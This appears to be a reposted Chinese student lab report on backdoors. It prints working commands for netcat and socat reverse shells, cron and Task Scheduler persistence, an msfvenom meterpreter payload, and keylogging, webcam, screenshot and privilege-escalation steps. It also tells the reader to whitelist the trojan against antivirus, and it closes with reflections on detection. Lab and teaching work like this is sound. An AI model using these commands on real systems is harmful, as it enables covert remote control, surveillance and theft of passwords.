后门原理与实践

实验目录

  • windows主机与kali虚拟机实现互联互通
  • 使用netcat获取主机操作Shell,cron启动
  • 使用socat获取主机操作Shell, 任务计划启动
  • 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell,加分内容一并写入本实验报告

实验准备

  • 后门:后门程序就是留在计算机系统中,供某位特殊使用者通过某种特殊方式控制计算机系统的途径。后门包括从简单到奇特,有很多的类型。简单的后门可能只是建立一个新的账号,或者接管一个很少使用的账号;复杂的后门(包括木马)可能会绕过系统的安全认证而对系统有安全存取权。例如一个login程序,当你输入特定的密码时,你就能以管理员的权限来存取系统。
  • 工具储备:
    • meterpreter
    • netcat(linux,一般自带)
    • ncat(windows)
    • socat
  • cron:
    • cron是一个linux下 的定时执行工具 ,可以在无需人工干预的情况下运行作业。
    • crontab -u //设定某个用户的cron服务,一般root 用户在执行 这个命令的时候需要此参数
    • crontab -l //列出某个用户cron服务的详细内容
    • crontab -r //删除 没个用户的cron服务
    • crontab -e //编辑某个用户的cron服务

实验过程

windows主机与kali虚拟机实现互联互通

  • 首先在win主机上下载ncat软件,并为其配置好环境变量,用于在cmd的使用

  • 打开虚拟机,输入指令ifconfig,查看其IP地址,并ping一下win主机,观察是否能ping通

    • 在本实验中,win_IP:172.30.6.85linux_ip:192.169.18.128
  • 上述几步是必要准备步骤,该项任务较为简单,不做过多赘述,接下来只需在一个系统开启监听端口,在另一台虚拟机开启请求连接即可

  • windows开启监听端口:

  • kali发起连接请求:

使用netcat获取主机操作Shell,cron启动

Windows获得Linux的Shell
  • 在windows上打开cmd,并通过ncat开放端口5221

  • 在linux上反弹连接win:nc 169.254.1.65 5221 -e /bin/sh

  • 当然除此ls命令,还可以使用mkdir、cp等常用命令

  • 使用cron开启Linux定时连接:

  • crontab指令增加一条定时任务,-e表示编辑,接下来会进入编辑状态,在最后一行参照之前的格式加入一条自动执行netcat的指令即可,如下图

  • 设定57分时自动开启,所以当主机时间到了57分时,就可以获取kali的shell了

  • 使用任务计划程序开启Windows定时连接:

  • 控制面板->管理工具->任务计划程序中添加任务

  • 在“操作”中新建一个操作,写入参数:-e cmd.exe 192.168.6.85 5221

  • 然后可根据需要设置条件即可。

Linux获得Windows的Shell
  • 同上述操作,在linux下设置监听端口:nc -l -p 5221
  • 在windows下请求连接:ncat 192.168.18.128 5221 -e cmd.exe
  • 在linux下输入ipconfig查看主机IP:

使用socat获取主机操作Shell, 任务计划启动

  • 下载安装socat软件,下载地址
  • 为其配置环境变量
  • 在windows上开放5221端口,并把cmd的stderr重定向到stdout
    • socat tcp-listen:5221 exec:cmd,pty,stderr
  • 在linux开启监听:socat - tcp:172.30.6.85:5221
  • 如下图,可以发现成功连接到kali虚拟机:

使用MSF meterpreter生成可执行文件

  • 通过meterpreter生成后门程序:20145221.exe

    • linux下输入指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.18.128 LPORT=80 -f exe > 20145221.exe
  • 接下来需要将这个后门程序传到我们的靶机上,可以通过ncat来实现

  • 首先我在win的cmd下使用ncat.exe -lv 443 > 20145221.exe命令在443号端口进行监听

  • 然后在Linux下使用ncat -nv 172.20.10.2 443 < 20145221.exe命令把文件传送过去

使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • MSF打开监听进程

    • msfconsole:进入msf
    • use exploit/multi/handler:进入handler模式
    • set payload windows/meterpreter/reverse_tcp:设置payload
    • show options:查看当前信息状态
    • set LHOST 192.168.18.128:设置LHOST
    • set LPORT 80:设置LPORT
    • exploit:MSF开始监听
  • 在windows下打开运行20145221.exe木马程序,此时杀毒软件可能会报毒,点击找回文件并添加到信任区即可,然后就可以在linux攻击机上取得靶机的shell了

  • 通过help查看可以使用的指令:

  • 通过screenshot进行屏幕截图:

  • 通过getsystem提权:

  • 通过keyscan_startkeyscan_dump来记录靶机的键盘输入:

  • 通过webcam_snap捕捉键盘记录

  • 通过run metsvc为主机安装一些系统服务

可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell,加分内容一并写入本实验报告

  • loading。。。

实验思考

例举你能想到的一个后门进入到你系统中的可能方式?

  • 有时候我们需要下载一些工具软件,在网络中搜索时,往往靠前的匹配项不是官方提供的链接,当我们通过这样的第三方平台下载的软件,就很有可能通过我们的主动点击下载安装到自己的主机上,使自己的电脑感染木马病毒。

例举你知道的后门如何启动起来(win及linux)的方式?

  • win:首先后门可能作为一个exe文件藏在我们的主机下,然后可以通过诱导用户主动点击、修改注册表、添加到开机自启动项、或者和我们常用的软件绑定在一起同时启动,具有很高的隐蔽性。
  • linux:linux中可以通过crontab功能将木马设为定时启动,也可以通过对正常软件的绑定注入shellcode达到开启后门的目的。

Meterpreter有哪些给你映像深刻的功能?

  • Meterpreter功能强大,一旦可以控制靶机,就可以实现许多功能,这些功能在本次实践中看似有趣,但是在现实生活中,却对我们的隐私和安全都是一大威胁。
  • 比如,当我们在登录QQ时,如果木马已经启动,就可以监测我们键盘录入,窃取QQ密码;又比如,一些不法分子可以通过盗取主机权限入侵摄像头,对自身与家庭的隐私会有极大伤害。

如何发现自己有系统有没有被安装后门?

  • 首先,我们可以通过计算机的入侵检测系统以及防火墙,对系统的行为有一个全面的检测,在一定程度上可以避免被装后门;
  • 其次,可以通过杀毒防护软件对计算机进行保护,检查是否有后门,定期更新病毒库,养成查杀电脑的好习惯;
  • 最后,我们可以手动查看任务计划程序、开机自启动项中查找有关可疑程序。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/66778.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Apache Hop从入门到精通 第一课 揭开Apache Hop神秘面纱

一、Apache Hop是什么&#xff1f; 1、Apache Hop&#xff0c;简称Hop&#xff0c;全称为Hop Orchestration Platform&#xff0c;即Hop 工作编排平台&#xff0c;是一个数据编排和数据工程平台&#xff0c;旨在促进数据和元数据编排的所有方面。Hop让你专注于你想要解决的问题…

嵌入式C语言:什么是指针?

目录 一、指针的基本概念 1.1. 定义指针 1.2. 赋值给指针 1.3. 解引用指针 1.4. 指针运算 1.5. 空指针 1.6. 函数参数 1.7. 数组和指针 1.8. 示例代码 二、指针在内存中的表示 2.1. 内存地址存储 2.2. 内存模型 2.3. 指针与硬件交互 2.4. 示例代码 三 、指针的重…

带格式 pdf 翻译

支持 openAI 接口&#xff0c;国内 deepseek 接口兼容 openAI 接口&#xff0c; deepseek api 又非常便宜 https://pdf2zh.com/ https://github.com/Byaidu/PDFMathTranslate

【redis初阶】初识Redis

目录 一、初识Redis 二、盛赞 Redis 三、Redis 特性 3.1 速度快 ​编辑3.2 基于键值对的数据结构服务器 3.3 丰富的功能 3.4 简单稳定 &#x1f436; 3.6 持久化&#xff08;Persistence&#xff09; 3.7 主从复制&#xff08;Replication&#xff09; 3.8 高可用&#xff08;H…

虚拟机Linux Red Hat 7.9 Docker部署.Net 7 Zr.Admin项目(后端)

0、环境信息 应用部署在虚拟机里的docker&#xff0c;里面的应用访问宿主主机的MySQL 1、开启MySQL远程访问 使用非安装版MySQL参考Windows 使用 非安装版MySQL 8 为了避免出现 Host is not allowed to connect to this MySQL server 使用root用户登录 cmd进入到MySQL的bi…

UE小白学习日记

Level UE中的Level(关卡)和Unity中的Scene(场景)在概念和用途上非常相似,都是用来组织和管理3D环境的基本单位。让我为您详细对比一下: 相似之处: 它们都是游戏世界的容器,可以包含游戏对象、光照、地形等元素都支持场景/关卡的切换和加载都可以用来划分游戏内容,比如不同关…

cmake - build MS STL project

文章目录 cmake - build MS STL project概述笔记END cmake - build MS STL project 概述 MS在github上开源了VS IDE 用的STL实现。 想看看微软的测试用例中怎么用STL. 想先用CMake编译一个MS STL发布版出来。 笔记 CMake需要3.30以上, 拟采用 cmake-3.30.6-windows-x86_64.…

微信小程序之历史上的今天

微信小程序之历史上的今天 需求描述 今天我们再来做一个小程序&#xff0c;主要是搜索历史上的今天发生了哪些大事&#xff0c;结果如下 当天的历史事件或者根据事件选择的历史事件的列表&#xff1a; 点击某个详细的历史事件以后看到详细信息&#xff1a; API申请和小程序…

错误修改系列---基于RNN模型的心脏病预测(pytorch实现)

前言 前几天发布了pytorch实现&#xff0c;TensorFlow实现为&#xff1a;基于RNN模型的心脏病预测(tensorflow实现)&#xff0c;但是一处繁琐地方 一处错误&#xff0c;这篇文章进行修改&#xff0c;修改效果还是好了不少&#xff1b;源文章为&#xff1a;基于RNN模型的心脏病…

vue.js+vite搭建一个简单的新春祈福活动网站

vue.jsvite搭建一个简单的新春祈福活动网站&#xff01;使用canvas技术&#xff0c;绘制视觉特效。 功能有&#xff1a;燃放烟花&#xff0c;和撞钟祈福。祈福撞钟我设计了是按钮事件&#xff0c;播放一个mp4动画&#xff0c;配上播放一段撞钟的生效文件mp3. <template>&…

有机物谱图信息的速查技巧有哪些?

谱图信息是化学家解读分子世界的“语言”&#xff0c;它们在化学研究的各个领域都发挥着不可或缺的作用。它们是理解和确定分子结构的关键&#xff0c;对化学家来说极为重要&#xff0c;每一种谱学技术都提供了不同的视角来观察分子&#xff0c;从而揭示其独特的化学和物理特性…

视频转码对画质有影响吗?视频融合平台EasyCVR支持哪些转码格式?

视频转码过程是将视频文件从一种编码格式转换为另一种格式的过程&#xff0c;这一过程在现代数字媒体中扮演着至关重要的角色。众所周知&#xff0c;视频转码不仅仅是简单的格式转换&#xff0c;它涉及多个关键参数的改变&#xff0c;例如视频编码格式、比特率、分辨率以及帧率…

微信小程序防止重复点击事件

直接写在app.wpy里面&#xff0c;全局可以调用 // 防止重复点击事件preventActive(fn) {const self this;if (this.globalData.PageActive) {this.globalData.PageActive false;if (fn) fn();setTimeout(() > {self.globalData.PageActive true;}, 3000); //设置该时间内…

STM32-WWDG/IWDG看门狗

WWDG/IWDG一旦开启不能关闭&#xff0c;可通过选项字节在上电时启动硬件看门狗&#xff0c;看门狗计数只能写入不能读取。看门狗启用时&#xff0c;T6bit必须置1&#xff0c;防止立即重置。 一、原理 独立看门狗-超时复位 窗口看门狗-喂狗&#xff08;重置计数器&#xff0c;…

C++初阶—CC++内存管理

第一章&#xff1a;C/C内存分布 int globalVar 1; static int staticGlobalVar 1; void Test() {static int staticVar 1;int localVar 1;int num1[10] { 1, 2, 3, 4 };char char2[] "abcd";const char* pChar3 "abcd";int* ptr1 (int*)malloc(si…

排序的本质、数据类型及算法选择

排序的本质、数据类型及算法选择 一、排序的本质二、排序的数据类型三、排序算法的选择依据 前两天老金写了篇 “十大排序简介”&#xff0c;有点意犹未尽&#xff0c;这一回老金想把排序连根拔起&#xff0c;从排序的本质说道说道。 一、排序的本质 从字面上理解&#xff0c…

arcgisPro加载天地图(CGCS2000)影像

1、注册天地图账号&#xff1b; 2、申请key&#xff1b; 3、添加WMTS服务器。 这里已经办好了前两步&#xff0c;下面详细介绍最后一步。 添加WMTS服务器。 在天地图网站&#xff0c;找到如下页面&#xff0c; 复制网址&#xff0c;如&#xff1a;http://t0.tianditu.gov.cn…

【测试】持续集成CI/CD

近期更新完毕&#xff0c;建议关注收藏点赞&#xff5e; 目录 概括gitJenkinspostman集成jenkins代码集成jenkins 概括 CI/CD stands for Continuous Integration and Continuous Deployment 定义 团队成果持续集成到公共平台。一天可以集成1次or多次 本地代码管理 git 远程代…

python基础和redis

1. Map函数 2. filter函数 numbers generate_numbers() filtered_numbers filter(lambda x: x % 2 0, numbers) for _ in range(5):print(next(filtered_numbers)) # 输出: 0 2 4 6 83. filter map 和 reduce 4. picking and unpicking 5. python 没有函数的重载&#xff0…

【再谈设计模式】模板方法模式 - 算法骨架的构建者

一、引言 在软件工程、软件开发过程中&#xff0c;我们经常会遇到一些算法或者业务逻辑具有固定的流程步骤&#xff0c;但其中个别步骤的实现可能会因具体情况而有所不同的情况。模板方法设计模式&#xff08;Template Method Design Pattern&#xff09;就为解决这类问题提供了…